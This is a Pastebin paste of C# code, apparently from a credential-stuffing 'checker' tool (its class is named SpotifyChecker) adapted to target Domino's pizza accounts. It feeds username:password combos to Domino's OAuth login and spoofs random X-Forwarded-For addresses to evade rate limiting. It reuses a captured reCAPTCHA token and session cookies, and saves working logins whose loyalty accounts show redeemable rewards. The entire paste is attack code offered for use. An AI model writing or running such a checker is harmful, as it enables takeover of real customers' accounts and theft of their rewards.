Advertisement
Guest User

Untitled

a guest
Jan 27th, 2019
828
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.73 KB | None | 0 0
  1. httpRequest.KeepAlive = true;
  2. httpRequest.UserAgent = Http.ChromeUserAgent();
  3. httpRequest.IgnoreProtocolErrors = true;
  4. httpRequest.Proxy = (ProxyClient)null;
  5. byte[] numArray = new byte[4];
  6. SpotifyChecker.rnd.NextBytes(numArray);
  7. httpRequest.AddHeader("X-Forwarded-For", new IPAddress(numArray).ToString());
  8. httpRequest.ConnectTimeout = 5000;
  9. httpRequest.Cookies = new CookieDictionary(false);
  10. string str4 = ((object)httpRequest.Get("https://order.dominos.com/power/customer/" + str3 + "/loyalty?_=1490837802064", (RequestParams)null).Cookies).ToString().Replace("csrf_token=", "");
  11. httpRequest.AddHeader("Cookie", "_ga=GA1.2.290742925.1546582512; _CT_RS_=Recording; WRUID20180309=2082356453703978; s_fid=0C07AF977C768B18-1D4C9E4209A43709; mbox=PC#0833f87780f24cb1a73020b26a1aad0a.28_70#1611814945|session#9bba765d071a49418f5d7870c61d0673#1548572030; check=true; AMCVS_1F046398524DCCF80A490D44%40AdobeOrg=1; s_cc=true; __CT_Data=gpv=100&ckp=tld&dm=dominos.com&apv_14458_www08=155&cpv_14458_www08=155&rpv_14458_www08=103; AMCV_1F046398524DCCF80A490D44%40AdobeOrg=1687686476%7CMCIDTS%7C17924%7CMCMID%7C59970469890260606301639169553720866003%7CMCAAMLH-1549230540%7C9%7CMCAAMB-1549230540%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1548632940s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C3.0.0%7CMCCIDH%7C1942437815; s_sq=%5B%5BB%5D%5D; utag_main=v_id:0167711e0cc400020b6789c7976103073001b06b009dc$_sn:17$_ss:0$_st:1548627556192$vapi_domain:dominos.com$ses_id:1548625739804%3Bexp-session$_pn:1%3Bexp-session" + str2);
  12. httpRequest.AddHeader("Accept", "application/json, text/javascript, */*; q=0.01");
  13. httpRequest.AddHeader("Name Here", "Value here");
  14. httpRequest.Referer = ("https://api.dominos.com/assets/build/xdomain/proxy.html");
  15. string str5 = "remember=true&username=" + str2 + "&recaptchaToken=03AO9ZY1APGgBRbe6yI6jO9m0W6H23N4CSfj_9L1nth3Qo3aeG0J5MYFXUM-Nqi-ucHswth6pyOaedGL2sq-HmDxO9B8rpoLVUGCUjgMUDxBNo8YHiFzmB744J5DYA4acrzQ_JwHcxS55NRo5dZj2qUp0OPoUH9py8ZzbM53hLfd4D5rChdEa1X8yKCbQQyTm9Z4xXrXmRnxdaOIy6_U42i-kijySVmczhyvIB4hvjg6nIFffaY7bkepmPASy0zvR9Mkm6m3mIkrcluYd4enY97OfSIt0XH-lHHdyeghr3T1RVG5ZvuUL_B4BT9J1UlJKrZthAazPLhY8g&password=" + str3 + "&csrf_token=" + str4;
  16. if (((object)httpRequest.Post("https://order.dominos.com/as/token.oauth2", str5, "application/x-www-form-urlencoded")).ToString().Contains("displayName"))
  17. {
  18. string str6 = ((object)httpRequest.Get("https://order.dominos.com/power/customer/" + str2 + "/loyalty?_=1490837802064", (RequestParams)null)).ToString();
  19. if (str6.Contains("REDEEM"))
  20. {
  21. Interlocked.Increment(ref SpotifyChecker.hitCnt);
  22. Interlocked.Increment(ref SpotifyChecker.checkedCnt);
  23. Interlocked.Increment(ref SpotifyChecker.premCnt);
  24. Interlocked.Increment(ref SpotifyChecker.cpm1);
  25. Console.ForegroundColor = ConsoleColor.Green;
  26. Console.WriteLine("[√] " + str2 + ":" + str3);
  27. SpotifyChecker.SaveDataPrem(str2 + ":" + str3);
  28. }
  29. if (SpotifyChecker.comboQueue.Count == 0)
  30. {
  31. Console.WriteLine(string.Empty);
  32. Console.ForegroundColor = ConsoleColor.White;
  33. Console.WriteLine("Finished Checking! Check your results folder.");
  34. Console.ReadLine();
  35. }
  36. }
  37. else
  38. {
  39. Console.ForegroundColor = ConsoleColor.Red;
  40. Console.WriteLine("[X] " + str2 + ":" + str3);
  41. Interlocked.Increment(ref SpotifyChecker.invalidCnt);
  42. Interlocked.Increment(ref SpotifyChecker.checkedCnt);
  43. Interlocked.Increment(ref SpotifyChecker.cpm1);
  44. }
  45. Interlocked.Increment(ref SpotifyChecker.retryCnt);
  46. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement